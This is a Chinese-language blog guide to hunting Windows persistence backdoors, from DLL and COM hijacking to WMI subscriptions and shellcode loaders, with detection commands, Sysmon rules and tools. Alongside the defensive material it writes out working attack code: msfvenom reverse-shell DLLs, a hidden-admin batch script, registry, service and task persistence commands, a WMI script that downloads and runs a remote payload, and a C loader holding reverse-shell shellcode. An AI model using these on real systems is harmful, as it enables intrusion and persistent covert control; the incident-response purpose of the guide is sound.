Windows后门排查_2025/12/01(持续更新)
Windows后门排查
dll劫持
dll劫持介绍
劫持原理:
为了性能需求,程序开发时会同时开发一些dll文件,不过并没有指明绝对路径;所以程序启动时就会寻找并加载这些dll文件,寻找并加载的优先级如下:
| 1.应用程序所在目录 |
|---|
| 2.C:\Windows\System32 |
| 3.C:\Windows\System |
| 4.C:\Windows |
| 5.当前工作目录 |
| 6.PATH环境变量中的目录 |
如果用户有权限修改替换其中的文件为后门,当程序启动时就会运行后门。
示例(MSDTC服务):
当MSDTC服务启动时,它将搜索注册表中的dll文件oci.dll、SQLLib80.dll、xa80.dll:

Windows系统默认不包含oci.dll,我们通过如下方式生成一个恶意的oci.dll文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4444 -f dll >oci.dll
将这个恶意文件上传到 C:\Windows\System32 目录下,重启msdtc服务就能加载后门。
taskkill /f /im msdtc.exe
net start msdtc
检测手段
1.排查常见劫持DLL文件名
| 目录 | 常见劫持DLL文件名 |
|---|---|
| C:\ProgramData\ | version.dll, wlbsctrl.dll, cryptsp.dll |
| C:\Windows\Temp\ | version.dll, VBoxService.dll |
| %TEMP% | nvcuda.dll, dwmapi.dll |
| C:\Users\Public\ | COMCTL32.dll, powrprof.dll |
| C:\Windows\System32\spool\drivers... | printconfig.dll |
# 1. 检查WMI劫持
Get-ChildItem "C:\Windows\System32\wbem\" -Include version.dll,wlbsctrl.dll -Recurse
Get-ChildItem "C:\ProgramData\" -Include version.dll -Recurse
# 2. 检查打印机驱动劫持
Get-ChildItem "C:\Windows\System32\spool\drivers\x64\3\" -Include *.dll -Recurse
# 3. 检查TS远程桌面劫持(tsappcmp.dll, tsmsisrv.dll)
dir "C:\ProgramData" tsappcmp.dll /s
2.工具扫描
https://github.com/yeyintmynwht/DLL-Hijacking-Scanner
https://github.com/stephenfewer/ReflectiveDLLInjection/tree/master/dll_hijack_detect
https://learn.microsoft.com/sysinternals/downloads/process-explorer)
组策略
组策略脚本
内容:
创建一个脚本,内容是添加隐藏用户:
@echo off
net user test$ 123456 /add
net localgroup administrators test$ /add
exit
打开组策略添加脚本:

关机后就会执行脚本。
检测手段
1.直接打开组策略编辑器检查
| 类型 | GPO路径(域控SYSVOL) | 典型恶意文件 |
|---|---|---|
| 计算机启动/关机脚本 | \\domain\SYSVOL\domain\Policies\{GPO-GUID}\Machine\Scripts\Startup |
.ps1 / .bat / .vbs / .exe |
| 计算机启动/关机脚本 | ...Shutdown |
同上 |
| 用户登录/注销脚本 | ...Policies\{GPO-GUID}\User\Scripts\Logon |
.ps1 / .bat / .vbs / .exe |
| 用户登录/注销脚本 | ...Logoff |
同上 |
2.通过组策略脚本执行的注册表持久化
搜索所有组策略下发的注册表项(重点看Run键)
Get-ChildItem "\\$env:USERDNSDOMAIN\SYSVOL\$env:USERDNSDOMAIN\Policies" -Recurse -Include Registry.xml | ForEach-Object {
Select-String -Path $_ -Pattern "Run|RunOnce|AppInit_DLLs|IFEO|shell|powershell|cmd|bitsadmin" -Context 0,5
}
3.工具扫描:
红队利用工具:https://github.com/FSecureLABs/SharpGPOAbuse
注册表&启动项后门
介绍
系统启动文件夹
原理:
用户登陆后系统启动时会执行启动文件夹中的程序,windows系统中常见的启动文件夹:
#指定用户登陆运行:
C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start
C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
#所有用户登陆运行:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
将后门放入该文件夹,luojiahui这个用户登陆时会运行该后门:

运行键(Run Keys)
原理:
许多注册表项中可以用来设置在系统启动或用户登陆时运行制定的程序或加载指定的DLL文件:
#以下注册表项中的程序将在用户登陆时运行:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
#以下注册表项中的程序将在所有用户登陆时运行:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce


在注册表中采用 键-类型-值 的方式定位程序,所以可以通过如下方式写入后门:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\System32\shell.exe"
当用户重新登录时就会运行C:\Windows\System32\shell.exe。
Winlogon Helper
原理:
Winlogon 是 Windows 系统的组件,用于处理与用户有关的各种行为,如登录、注销、在登录时加载用户配置文件、锁定屏幕等。
这些行为由系统注册表管理,注册表中的一些键值定义了在 Windows 登录期间会启动哪些进程。
# 指定用户登录时执行的用户初始化程序,默认为 userinit.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
# 指定 Windows 身份验证期间执行的程序,默认为 explorer.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell

执行以下命令,在 Userinit 键值中添加一个后门程序:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\system32\userinit.exe,shell.exe" /f
当用户重新登录时,目标主机就会上线。
Logon Scripts
Logon Scripts是优先于很多杀毒软件启动的,所以可以通过这种方式绕过杀毒软件敏感操作拦截。

执行以下命令,在 HKEY_CURRENT_USER/Enviroment 下新建字符串键值 UserInitMprLogonScript,键值设置为想要执行的程序或bat脚本的路径:
reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Windows\system32\shell.exe"
重启系统或重新登陆账户,就会执行后门程序。
检测手段
1.从对应的目录中定位恶意程序位置(也可以根据实际情况编写脚本快速筛查):
排查攻击者能够做权限维持的注册表/系统目录中的文件,判断是否存在可疑文件的存在。
2.工具查杀:
Autoruns:https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
系统服务后门
介绍
修改系统服务
对于启动类型为 “自动” 的系统服务,攻击者可以将服务运行的二进制文件路径设置为后门程序位置。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

可以通过 “sc config” 命令修改服务的 binpath 选项,也可以尝试修改服务注册表的 ImagePath 键,二者都直接指定了相应服务的启动时运行的二进制文件:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\【服务名称】 /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k C:\Users\Public\shell.exe" /f
当系统或服务重启时,可以重新获取对目标主机的控制权。
创建系统服务
攻击者以管理员权限创建一个“自动”运行的服务:
sc create Shell binpath= "cmd.exe /k C:\Windows\System32\shell.exe" start= "auto" obj= "LocalSystem"
# binpath,指定服务的二进制文件路径,注意 “=” 后必须有一个空格
# start,指定启动类型
# obj,指定服务运行的权限
当系统或服务重启时,可以重新获取对目标主机的控制权。
利用 svchost.exe 启动服务
svchost.exe 介绍:
在 windows 系统中,svchost.exe 是许多其他服务运行 DLL 文件的宿主程序;
安装这些服务时,需要将服务的可执行文件路径指向 svchost.exe;
在启动这些服务时,由 svchost.exe 调用相应服务的 DLL 文件,而具体调用哪个 DLL 由该服务在注册表的信息所决定。
示例:
以 workfolderssvc 服务为例,从 imagepath 键值可以得知,该服务启动的可执行文件的路径为 C:\Windows\system32\svchost.exe -k Local...
说明该服务是依靠 svchost.exe 加载 DLL 文件来实现的,并且系统会根据服务可执行文件路径中的参数对服务进行分组,如 C:\Windows\system32\svchost.exe -k Local 表明该服务属于 Local 这个服务组:

workfolderssvc 服务的注册表下还有一个 Parameters 子项,其中的 ServiceDll 键值表明该服务由哪个 DLL 文件负责。
当服务启动时,svchost.exe 就会加载 workfolderssvc.dll 文件,并执行其提供的具体服务,也就是说 svchost.exe 会加载 workfolderssvc.dll 文件:

svchost.exe 的所有服务分组位于注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost 中。
通过 svchost.exe 加载启动的服务都要在该表项中注册:

在实战中,攻击者可以通过 svchost.exe 加载恶意服务,以此来建立持久化后门。
由于恶意服务的 DLL 将加载到 svchost.exe 进程,恶意进程不是独立运行的,因此具有很高的隐蔽性。
操作:
#生成恶意dll文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=0.0.0.0 lport=6666 -f dll > reverse_tcp.dll
#创建名为 Shell 的服务,并以 svchost 加载的方式启动,服务分组为 netsvc
sc create Shell binpath= "C:\Windows\system32\svchost.exe -k netsvc" start= "auto" obj= "LocalSystem"
#将 Shell 服务启动时加载的 DLL 设为 reverse_tcp.dll
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Shell\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\reverse_tcp.dll"
#配置服务描述
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Shell /v Description /t REG_SZ /d "Windows Service"
#配置服务显示名称
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Shell /v DisplayName /t REG_SZ /d "Shell"
#创建服务新分组 netsvc,并将 Shell 服务添加进去
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvc /t REG_MULTI_SZ /d Shell
检测手段
1.命令筛查:
-
针对修改系统服务(特点:ImagePath被修改):
wmic service get name,pathname | findstr /i /v "C:\Windows\system32" | findstr /i /v "C:\Windows\syswow64" | findstr /v """ -
针对创建系统服务(特点:服务款乱码/伪装binpath、ImagePath指向):
wmic service get name,pathname | findstr /i "temp appdata public programdata perflogs users downloads" -
针对靠 svchost.exe 隐藏(特点:Parameters\ServiceDll=非系统路径):
reg query HKLM\SYSTEM\CurrentControlSet\Services /s /f ServiceDll | findstr /i /v "system32 syswow64 winsxs" | findstr /i "c:\"
2.工具查杀:
Autoruns:https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
任务计划后门
介绍
原理:
通任务计划,让主机在特定时间或规定周期内重复运行攻击者指定的后门程序,实现持久化。
在 windows 中,任务计划位置:【计算机管理】=>【任务计划程序】,如下:

Application 文件夹下的 appuriverifierdaily 将会按周期性执行 System32 下面的程序。
示例1:
执行以下命令,在目标主机上创建一个名为 Backdoor 的计划任务,每 60 秒以 SYSTEM 权限运行一次后门程序 shell.exe。
schtasks /Create /TN Backdoor /SC minute /MO 1 /TR C:\Windows\System32\shell.exe /RU System /F
# /TN,指定要创建的计划任务的名称
# /SC,指定计划任务执行频率
# /MO,指定计划任务执行周期
# /TR,指定计划任务运行的程序路径
# /RU,指定计划任务运行的用户权限
# /F,如果指定的任务已经存在,则强制创建
注意:如果以 SYSTEM 权限运行计划任务,就需要拥有管理员级别的权限。

示例2:
schtasks /Create /TN \Microsoft\Windows\AShell\ShellRun /SC daily /ST 08:00 /MO 1 /TR C:\Windows\System32\shell.exe /RU System /F


检测手段
1.工具查杀:
Autoruns(Scheduled Tasks 模块):https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns

2.进入可视化界面手动删除可疑任务:
taskschd.msc
3.cmd 命令排查:
#常见后门
schtasks /query /fo LIST /v | findstr /i "temp appdata public programdata perflogs users \.exe \.dll \.ps1 \.bat rundll32 powershell -enc"
#开机/登录自启的任务
schtasks /query /fo LIST /v | findstr /i "At logon At startup System32\\svchost System32\\rundll32"
WMI后门
介绍
WMI:
一组管理 Windows 系统的方法和功能,我们可以把它当作 API 与 Windows 系统进行交互。
WMI 是 Windows 自带的功能,由于整个运行的过程都在计算机内存中发生,所以几乎不会留下任何痕迹。
常见的使用方式:
-
搜索域控制器:wmic ntdomain list brief
-
搜素运行服务:wmic service list brief | more
-
... ...
WMI 永久事件订阅:
攻击者利用 WMI 的事件-过滤器-消费者机制实现,如下:
| WMI 永久事件订阅 |
|---|
| 事件过滤器(__EventFilter)==> 定义什么时候触发 |
| 事件消费者(CommandLineEventConsumer)==> 定义触发后要执行的内容 |
| 绑定(__FilterToConsumerBinding)==> 绑定过滤器和消费者,形成完整的触发链 |
如下是 WMI-Persistence.ps1 脚本,分为三个部分:插入指定wmi事件、删除指定wmi事件、查询wmi事件:
- 插入指定wmi事件
function Install-Persistence{
$Payload = "((new-object net.webclient).downloadstring('http://0.0.0.0:80/shell.gif'))"#远程加载payload
$EventFilterName = 'Cleanup'
$EventConsumerName = 'DataCleanup'
$finalPayload = "powershell.exe -nop -c `"IEX $Payload`""
# Create event filter(创建事件过滤器)
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = $EventFilterName
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
# Create CommandLineEventConsumer(创建事件消费者)
$CommandLineConsumerArgs = @{
Name = $EventConsumerName
CommandLineTemplate = $finalPayload
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs
# Create FilterToConsumerBinding(绑定过滤器和消费者)
$FilterToConsumerArgs = @{
Filter = $Filter
Consumer = $Consumer
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
#Confirm the Event Filter was created
$EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
if ($EventCheck -ne $null) {
Write-Host "Event Filter $EventFilterName successfully written to host"
}
#Confirm the Event Consumer was created
$ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
if ($ConsumerCheck -ne $null) {
Write-Host "Event Consumer $EventConsumerName successfully written to host"
}
#Confirm the FiltertoConsumer was created
$BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='$EventFilterName'"""
if ($BindingCheck -ne $null){
Write-Host "Filter To Consumer Binding successfully written to host"
}
}
- 删除指定wmi事件
function Remove-Persistence{
$EventFilterName = 'Cleanup'
$EventConsumerName = 'DataCleanup'
# Clean up Code - Comment this code out when you are installing persistence otherwise it will
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
}
- 查询/触发wmi事件
function Check-WMI{
Write-Host "Showing All Root Event Filters"
Get-WmiObject -Namespace root/subscription -Class __EventFilter
Write-Host "Showing All CommandLine Event Consumers"
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer
Write-Host "Showing All Filter to Consumer Bindings"
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding
}
检测手段
1.PowerShell 筛查:
# 查看所有永久事件订阅
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
# 删除恶意订阅(示例)
Remove-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='EvilFilter'"
# 判断输出(正常情况下无回显)
Get-WmiObject -Namespace root\subscription -Class __EventFilter |
Where-Object {$_.Name -notlike "SCM Event Log Filter"} |
Select Name, Query
2.工具查杀:
Autoruns(WMI 模块):https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
Sysmon(配置专用规则):https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysmon
<!-- 监控 WMI 永久事件订阅创建 -->
<EventID>19</EventID> <!-- WmiEventFilter -->
<EventID>20</EventID> <!-- WmiEventConsumer -->
<EventID>21</EventID> <!-- WmiEventBinding -->
<Rule name="WMI Persistence - EventFilter Created" level="High">
<EventID>19</EventID>
<Condition>EventData/Data[@Name='Name'] not contains 'SCM Event Log Filter'</Condition>
</Rule>
<Rule name="WMI Persistence - CommandLineConsumer" level="Critical">
<EventID>20</EventID>
<Condition>EventData/Data[@Name='CommandLineTemplate'] contains 'powershell' or contains 'cmd' or contains 'webclient'</Condition>
</Rule>
Shellcode加载远控木马
介绍
Shellcode加载
1.原理:
Shellcode 是一段纯机器码(二进制字节流),能在目标机器内存中不依赖任何文件直接运行,攻击者可以通过写入或上传恶意 Shellcode 文件(一般加密处理)到目标机器上,
然后当该 Shellcode 被执行就能在系统上实现执行攻击者指定的操作(反弹 Shell、远程加载木马)。
2.加载方式(白加黑):
-
注入阶段(Inject): 把 shellcode 注入到合法进程的内存中(常见进程:explorer.exe、svchost.exe、msedge.exe、chrome.exe 等)。
-
内存执行(Execute): 通过 VirtualAlloc / mmap + memcpy + CreateThread / RtlCreateUserThread / EnumSystemLocalesW 等方式直接在内存中运行 shellcode,不碰磁盘。
-
上线/反弹连接(Beacon / Reverse Shell): shellcode 内部实现 TCP/HTTPS/DNS/ICMP 等协议,向攻击者 C2(命令与控制服务器)发起连接(反弹壳)或等待连接(绑定壳)。
3.示例:
以下这段代码的主要作用是在内存中分配一段可执行的内存空间,将buf数组中的内容复制到该内存空间,并创建一个新线程来执行这段内存中的代码。
#include <Windows.h>
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b"
"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x07\x01\xc7\x49\x75\xef\x52"
"\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c"
"\x01\xd0\x8b\x48\x18\x8b\x58\x20\x01\xd3\x50\x85\xc9\x74\x3c\x49"
"\x8b\x34\x8b\x31\xff\x01\xd6\x31\xc0\xc1\xcf\x07\xac\x01\xc7\x38"
"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89"
"\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12"
"\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f"
"\x54\x68\xd2\x53\x6e\xfc\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29"
"\xc4\x54\x50\x68\x9c\x13\x41\xc4\xff\xd5\x6a\x0a\x68\xc0\xa8\x2f"
"\x9b\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\x2c\x9b\xfc\xa4\x50\x58\xff\xd5\x97\x6a\x10\x56\x57\x68\xb6\x59\xc0"
"\x0e\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\xe8\xd9\xce\x36\xff\xd5\x83\xf8"
"\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68"
"\x9c\xed\x92\x66\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\xe8\xd9"
"\xce\x36\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a"
"\x00\x50\x68\x3e\xba\x17\xa3\xff\xd5\x57\x68\xe6\xfc\xe1\xe2\xff"
"\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xfc\xd3\xf4\x5e\x6a\x00\x53"
"\xff\xd5";
void main() {
// 申请一块可进行读写操作的内存
LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存中
RtlMoveMemory(pMemory, buf, sizeof(buf));
// 创建一个新的线程来执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
// 等待新创建的线程执行完成
WaitForSingleObject(hThread, INFINITE);
}
参考:https://www.cnblogs.com/henry666/p/17429771.html
常见场景
1.类型 A:直接反弹 shell(这里的 Shellcode 内容主要是实现反弹 Shell 逻辑):
#流程:
VPS 监听 4444 → 目标执行 400 字节 shellcode → 动态解析 kernel32/ws2_32 → socket → connect(4444) → dup2 → CreateProcess("cmd.exe") → 反弹成功
2.类型 B:Shellcode 远程拉取 VPS 上的木马并加载(这里的 Shellcode 内容主要是拉取木马逻辑):
-
准备阶段:
生成加密 Beacon(CS/BR/Sliver 等,200~800KB,AES256 + SleepMask),上传到 VPS(http://0.0.0.0/beacon.bin)。
-
加载木马:
通过 Shellcode 加载 http://0.0.0.0/beacon.bin 下的 beacon.bin 二进制文件到内存,AES256 解密,Reflective DLL Injection(反射加载)把 Beacon 注入当前或远程进程。
-
执行木马(用白加黑或漏洞触发):
mshta、rundll32、office 宏、DLL 劫持、缓冲区溢出等 → 木马文件在内存运行 → 5~15 秒后 Beacon 上线。
-
上线后:
- 提权(bypass uac / token 窃取)
- 纯内存持久化(WMI 事件 + COM 劫持 + 多进程自修复)
- SleepMask 开启(休眠时自我加密内存)
- 开始横向、截屏、键盘记录等
-
不死后门(防止机器重启后内存消失):
重启后 WMI 事件或自修复机制 → 1~3 分钟内再次纯内存拉取 Beacon → 自动回连
检测手段
1.静态检测:
短期内被 shellcode 加载到内存中的木马文件是不会在磁盘中留下痕迹的,不过考虑到攻击者可能会有持久化的动作,我们可以查询下面的信息中是否有相关的备份文件:
#扫描 WMI 永久事件订阅
Get-WmiObject -Namespace root\subscription -Class __EventFilter
#扫描注册表 Run 键 + 计划任务 + 服务
Autoruns
#Volatility/WinPMEM 拉内存镜像 + YARA 扫高熵 RWX 内存段
vol.py -f mem.dump yara -r rules/ --yara-file=shellcode.yar
2.动态检测:
短期内被加载到内存中的木马文件很难发现,但是一旦木马借用某个程序进程进行了一些不寻常的操作(外联、访问)就会有事件信息,我们根据这些信息定位到这个程序的进程,再跟踪查看它加载了哪些线程和 DLL 就可能发现加载了木马的线程或 DLL 了。
| 排查点(Windows 原生特性) | 具体检测手段(一句话命令/工具) | 能抓到什么级别后门(2025) | 推荐开启方式 |
|---|---|---|---|
| RWX 内存段 + 无文件映射(核心特征) | Sysmon EventID 10 + Image is empty + GrantedAccess 包含 0x40 EventID:10 AND (Image:* AND NOT Image:*) AND GrantedAccess:*0x40* |
所有反射加载 Beacon(CS/BR/Sliver/Havoc) | Sysmon 必开 |
| WMI 永久事件订阅(国内红队 70% 用) | Get-CimInstance -Namespace root\subscription -ClassName __EventFilter Get-CimInstance __EventConsumer |
所有 WMI 持久化回连(重启不死) | 脚本定时跑 |
| 异常父子进程链(白加黑) | Sysmon EventID 1 + (ParentImage:*mshta.exe OR *rundll32.exe OR *regsvr32.exe OR *wmic.exe OR *cmstp.exe) | mshta、rundll32、regsvr32、wmic、cmstp 上线 | Sysmon 必开 |
| SleepMask 周期性内存加密 | ProcDot / Process Hacker 看同一进程内存熵值 30 秒内从 4.x → 7.9 → 4.x 反复跳变 或用 Volatility plugin sleepsurgery | CS/BR 上线后必现行为 | 手动+工具 |
| 内存中无文件 PE(Reflective DLL) | Process Hacker → 选中进程 → Memory → 勾选 “Show only non-file-backed sections” → 看是否有 200KB+ PE | 所有 Stage2 Beacon | 应急必看 |
| AMSI/ETW/ScriptBlockLogging 被关闭 | Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows Script\Settings" 检查 EventLog Microsoft-Windows-PowerShell/Operational 是否被停用 |
所有用 -enc 的 powershell shellcode | 组策略强制开 |
| Syscall 直调(绕过 API Hook) | 开源工具 SysWhispers3 Monitor / TartarusGate / SyscallMonitor 或 CrowdStrike/奇安信 原生 Syscall 监控 | 顶级免杀 Stage1(Threadless + Syscall) | EDR 高级功能 |
| 异常网络连接(TLS ClientHello 无域名) | Sysmon EventID 3 + DestinationPort:443 + NOT ProcessName:chrome.exeedge.exe*msedge.exe | Stage1 下载 Beacon 的加密流量 | Sysmon + 过滤 |
| COM 劫持(TreatAs / InprocServer32 被篡改) | reg query HKCR\CLSID /s /f "*javascript*" reg query HKCR\CLSID /s /f "*mshtml*" |
顶级重启不死(COM 持久化) | 脚本批量查 |
| EarlyBird APC 队列注入 | Process Hacker → Threads → 看 SuspendCount=1 的线程是否有 APC 队列 或用工具 EarlyBird | 顶级 Threadless 注入 | 手动深度查 |
| 操作步骤(纯原生命令) | 预期结果(中招表现) |
|---|---|
| `wevtutil qe Microsoft-Windows-Sysmon/Operational "/q:*[System[(EventID=10)]]" /f:text | findstr /i "0x40" |
| `Get-CimInstance -Namespace root\subscription -ClassName __EventFilter | select Name,Query` |
| 用 Process Hacker 打开所有 svchost、explorer、msedge → Memory → 勾选 “non-file-backed” → 看是否有 200KB+ PE | 发现大块无文件 PE → 100% 是 Beacon |
COM劫持
COM劫持介绍
劫持原理:
COM(Component Object Model):组件对象模型。
其是由 DLL 和 EXE 形式存在的,可以理解为 DLL 和 EXE 是其的实例或对象;在 windows 系统中许多程序运行时都会调用这些对象,具体方式是通过注册表中某个对象所对应的 CLSID 找到其具体的绝对路径再进行加载。
在真实攻击中尽量选择应用范围广的 CLSID。可以选择的 CLSID 为:{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},来实现对 CAccPropServicesClass 和 MMDeviceEnumerator 的劫持,系统很多正常程序启动时需要调用这两个实例(例如计算器)。
注册表中该 CLSID 的路径:
计算机\HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
示例:
准备一个后门 DLL 文件:backdoor.dll
通过下面两条命令创建 CLSID:
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}" /f #如果目录不存在
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\backdoor.dll" /f

计算机运行后就会加载 backdoor.dll 实现后门通信。
检测手段
1.排查常见的 CLSID 劫持目录:
计算机\HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
2.工具排查:
Sysmon:文件创建事件(Event ID 11)、注册表事件(Event ID 12 、Event ID 13 、Event ID 14)。
Autoruns:在 Everything 标签页搜索。
Windows后门排查_2025/12/01(持续更新)
浙公网安备 33010602011771号